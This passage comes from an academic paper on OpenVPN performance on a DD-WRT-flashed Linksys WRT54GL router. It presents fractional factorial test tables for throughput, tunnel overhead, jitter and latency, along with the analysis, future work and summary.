width=&quot;70&quot;&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;I&lt;/th&gt;&lt;th&gt;A&lt;/th&gt;&lt;th&gt;B&lt;/th&gt;&lt;th&gt;C&lt;/th&gt;&lt;th&gt;D&lt;/th&gt;&lt;th&gt;AB&lt;/th&gt;&lt;th&gt;AC&lt;/th&gt;&lt;th&gt;AD&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ABCDE&lt;/td&gt;&lt;td&gt;BCDE&lt;/td&gt;&lt;td&gt;ACDE&lt;/td&gt;&lt;td&gt;ABDE&lt;/td&gt;&lt;td&gt;ABCE&lt;/td&gt;&lt;td&gt;CDE&lt;/td&gt;&lt;td&gt;BDE&lt;/td&gt;&lt;td&gt;BCE&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;BC&lt;/th&gt;&lt;th&gt;BD&lt;/th&gt;&lt;th&gt;CD&lt;/th&gt;&lt;th&gt;ABC&lt;/th&gt;&lt;th&gt;ABD&lt;/th&gt;&lt;th&gt;ACD&lt;/th&gt;&lt;th&gt;BCD&lt;/th&gt;&lt;th&gt;E&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ADE&lt;/td&gt;&lt;td&gt;ACE&lt;/td&gt;&lt;td&gt;ABE&lt;/td&gt;&lt;td&gt;DE&lt;/td&gt;&lt;td&gt;CE&lt;/td&gt;&lt;td&gt;BE&lt;/td&gt;&lt;td&gt;AE&lt;/td&gt;&lt;td&gt;ABCD&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;b style=&quot;font-size: medium; &quot;&gt;Table 5: Confounding effects of 2&lt;sup&gt;5-1&lt;/sup&gt; fractional factorial design&lt;/b&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec3.3&quot;&gt;3.3&lt;/a&gt; Experimental Results&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The results of the 2&lt;sup&gt;5-1&lt;/sup&gt; fractional factorial design are presented in the section below. There are a few general observations that I made while running these tests. First, the CPU utilization of the router was always at 100% during these tests. This indicates that the router was consistently the bottleneck. The CPU utilization of the router was not reported because there was no mechanism for obtaining this information automatically from the router. Second, the CPU utilization of the client machine was always low, indicating that it was never the bottleneck.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The overhead of the VPN tunnel can be estimated empirically using the network activity information gathered by &lt;i&gt;sar&lt;/i&gt; during the TCP test. The overhead is simply the difference in the throughputs of the physical and virtual network interfaces divided by the number of packets per second transmitted. The equation is shown as follows:&lt;/p&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;eqn1&quot;&gt;&lt;img src=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/eqn1.png&quot; alt=&quot;Equation 1: Emperical estimate of overhead equation&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;For each experiment in the TCP test, traffic was generated from the client to the server and multiple metrics were measured: bandwidth, link utilization, and CPU utilization. The results shown in Table 6 are the mean value of 5 replications. These results show that the link was highly underutilized and that the client CPU was not a bottleneck in these experiments.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The overhead was estimated only for experiments that did not involve compression since compression reduces the packet size in the physical interface. The results show the smallest overhead of 51 bytes for the UDP protocol without encryption. This number is an estimate of the overhead due to the encapsulation of packets in the VPN tunnel. It does not show the overhead due to headers in the payload itself. For Layer 3 VPNs, which use the TUN interface, the payload does not contain any Layer 2 header information which reduces the overhead by 14 bytes.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The largest bandwidth of 8.87 Mbps is measured for the TAP interface with bridging using the UDP transport protocol for the tunnel and no encryption. The bandwidth is cut to less than half to 3.70 Mbps when encryption using AES 256-bit is enabled.&lt;/p&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;/p&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th colspan=&quot;5&quot;&gt;&lt;/th&gt;&lt;th colspan=&quot;4&quot;&gt;TCP Tests&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;Interface&lt;/th&gt;&lt;th&gt;Protocol&lt;/th&gt;&lt;th&gt;Cipher&lt;/th&gt;&lt;th&gt;Comp&lt;/th&gt;&lt;th&gt;Workload&lt;/th&gt;&lt;th&gt;Overhead (Bytes)&lt;/th&gt;&lt;th&gt;BW (Mbps)&lt;/th&gt;&lt;th&gt;Link %&lt;/th&gt;&lt;th&gt;Client CPU %&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;51.0&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;8.87&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1.20%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;4.12%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt; &lt;/td&gt;&lt;td align=&quot;right&quot;&gt;8.02&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.70%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;5.92%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;100.0&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.64&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.51%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.48%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt; &lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.70&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.52%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.58%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;76.5&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.17&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.85%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.76%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt; &lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.27&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.87%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.90%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;127.5&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.26&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.47%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.54%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt; &lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.83&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.36%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;4.42%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;51.0&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;7.38&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.99%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.30%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt; &lt;/td&gt;&lt;td align=&quot;right&quot;&gt;7.32&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.98%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.56%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;98.0&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.35&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.46%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.16%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt; &lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.66&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.33%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;4.16%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;76.5&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;5.67&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.77%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.28%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt; &lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.11&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.53%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;4.70%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;125.0&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.05&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.43%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.30%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt; &lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.00&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.42%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;3.30%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;b style=&quot;font-size: medium; &quot;&gt;Table 6: Client-to-server TCP test results for 2&lt;sup&gt;5-1&lt;/sup&gt; fractional factorial design; the values shown are the mean of 5 replicatons&lt;/b&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The UDP and latency test results are shown in Table 7. For both tests, the packet loss percentage is 0% indicating that no errors occurred in the VPN tunnel. The jitter measurement was done using large packets equal to the MTU size with a fixed UDP bandwidth of 1 Mbps. Although not shown, the jitter measurements were found to be sensitive to the UDP bandwidth and payload length, but not to the factors under test.&lt;/p&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;/p&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th colspan=&quot;5&quot;&gt;&lt;/th&gt;&lt;th colspan=&quot;2&quot;&gt;UDP Tests&lt;/th&gt;&lt;th colspan=&quot;3&quot;&gt;Latency Tests&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;Interface&lt;/th&gt;&lt;th&gt;Protocol&lt;/th&gt;&lt;th&gt;Cipher&lt;/th&gt;&lt;th&gt;Comp&lt;/th&gt;&lt;th&gt;Workload&lt;/th&gt;&lt;th&gt;Jitter (ms)&lt;/th&gt;&lt;th&gt;Loss %&lt;/th&gt;&lt;th&gt;RTT (ms)&lt;/th&gt;&lt;th&gt;Loss %&lt;/th&gt;&lt;th&gt;CPU %&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.2&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1.3&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;7.02%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.2&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1.3&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.62%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.3&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;2.3&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;5.22%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.3&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;2.2&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;5.34%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.5&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;15.1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.40%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;12.7&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.76%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.3&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;7.9&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;2.34%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP (br)&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.6&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;14.9&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.52%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.2&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1.9&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;5.14%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.4&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1.9&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;5.04%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.3&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;2.8&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;4.10%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.2&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;2.8&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;4.20%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.2&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;8.4&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1.50%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;7.0&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;15.1&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.50%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;Text&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.3&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;11.2&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;1.84%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;AES256&lt;/td&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Video&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;6.3&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;10.5&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.00%&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;0.82%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;b style=&quot;font-size: medium; &quot;&gt;Table 7: UDP and latency test results for 2&lt;sup&gt;5-1&lt;/sup&gt; fractional factorial design; the values shown are the mean of 5 replications&lt;/b&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Using the analysis technique described for a 2&lt;sup&gt;k-p&lt;/sup&gt; fractional factorial design, the effects and the percent variation were calculated [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Jain91&quot;&gt;Jain91&lt;/a&gt;]. The percent variation of the effects is shown in Figure 3. 84% of the bandwidth is explained by encryption cipher (C). Another 8% is explained by the transport protocol (B). There is a small 4% interaction (BC) between the encryption cipher and the transport protocol of the bandwidth.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The jitter is not explained very well by the model and is relatively independent of the changes in the factors. The percent variation in the round-trip time (RTT) is 66% for the transport protocol. Another 3% is explained by the interaction (BE) between the transport protocol and the workload which is confounded with interaction ACD.&lt;/p&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;fig3&quot;&gt;&lt;img src=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/fig3.png&quot; alt=&quot;Figure 3: Variation of effects for 2&amp;lt;sup&amp;gt;5-1&amp;lt;/sup&amp;gt; fractional factorial design&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Figure 3: Variation of effects for 2&lt;sup&gt;5-1&lt;/sup&gt; fractional factorial design&lt;/b&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec3.4&quot;&gt;3.4&lt;/a&gt; Future Work&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The tests performed in the 2&lt;sup&gt;k-p&lt;/sup&gt; fractional factorial design should be extended to include server-to-client tests, and simultaneous bidirectional traffic tests. Although it is possible to get this information, it is not easy to do this in an automatic way, and will require extension of the test script. The design should also be extended to include other factors that will potentially affect the performance of the VPN such as payload length, encryption key size, encryption digest, TLS digest, etc. Using the results from the 2&lt;sup&gt;k-p&lt;/sup&gt; fractional factorial design, a one or two factor design should be done to analyze the effects of the most sensitive factors such as the transport protocol and encryption. The test bed can also be expanded for testing a site-to-site VPN topology involving two routers. Last, the effects of communication with multiple clients should also be tested.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;In addition to these tests, the results should be verified using another evaluation technique such as analytical modeling. Some of the contributions of the overhead were modeled in this paper, but this work needs to be expanded to explain changes in performance as well. This will allow us to understand how each of these factors affects the performance and why.&lt;/p&gt;&lt;h2 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec4&quot;&gt;4&lt;/a&gt; Summary&lt;/h2&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The Linksys WRT54GL router is an inexpensive router that can easily be upgraded for extended functionality using an open-source Linux firmware called DD-WRT. This allows a VPN package such as OpenVPN to be set up to allow remote access to the internal network. OpenVPN is a flexible, cross-platform solution that is highly configurable and fairly easy to set up using available tutorials.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The performance of OpenVPN depends on the router hardware, and the configuration parameters. The throughput was found to be limited by the router CPU, and is not sufficient for fast connections such as 10/100 Mbps LANs. It is sufficient for slower connections such as most Internet connections. Measurements were presented for traffic generated from client to server. The encryption cipher was found to significantly reduce total throughput. For a configuration using the TAP interface with bridging, UDP transport protocol, AES256 cipher, and no compression, the throughput was 3.64 Mbps. 96% of the variation in the throughput was explained by the transport protocol, encryption cipher, and the interaction between the two; the encryption cipher explained the majority (84%) of the variation. The jitter in the latency was found to be relatively insensitive to the factors tested at around 6.3 ms. The round-trip time (RTT) was significantly larger for the TCP transport protocol explaining 66% of the variation. The next significant factor was the workload (3%), followed by the interaction between the workload and the encryption cipher (3%). This interaction is confounded with the interaction between the interface, cipher, and compression factors. For the same configuration above, the average RTT was 2.3 ms.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Although the encryption cipher accounted for the majority of the variation in the throughput, it is an important feature in VPNs. Future work is to investigate effects of different encryption algorithms with varying key sizes on the throughput that are still considered strong. One criterion for choosing an encryption algorithm is whether or not it is acceptable for use in ecommerce.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;In conclusion, the Linksys WRT54GL router provides a cost-effective solution for setting up an OpenVPN server for remote access over the Internet. This solution is throughput-limited, but should be sufficient for most Internet connections. It is an appropriate solution for most home users and small businesses depending on their needs.&lt;/p&gt;&lt;hr style=&quot;font-size: medium; &quot;&gt;&lt;h2 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;ref&quot;&gt;&lt;/a&gt;References&lt;/h2&gt;&lt;ol style=&quot;font-size: medium; &quot;&gt;&lt;li&gt;&lt;a name=&quot;DD-WRT&quot;&gt;&lt;/a&gt;[DD-WRT] &quot;DD-WRT :: News&quot;; &lt;a href=&quot;http://www.dd-wrt.com/&quot;&gt;http://www.dd-wrt.com&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;DD-WRT Tutorials&quot;&gt;&lt;/a&gt;[DD-WRT Tutorials] &quot;Tutorials - DD-WRT Wiki&quot;; &lt;a href=&quot;http://www.dd-wrt.com/wiki/index.php/Tutorials&quot;&gt;http://www.dd-wrt.com/wiki/index.php/Tutorials&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a 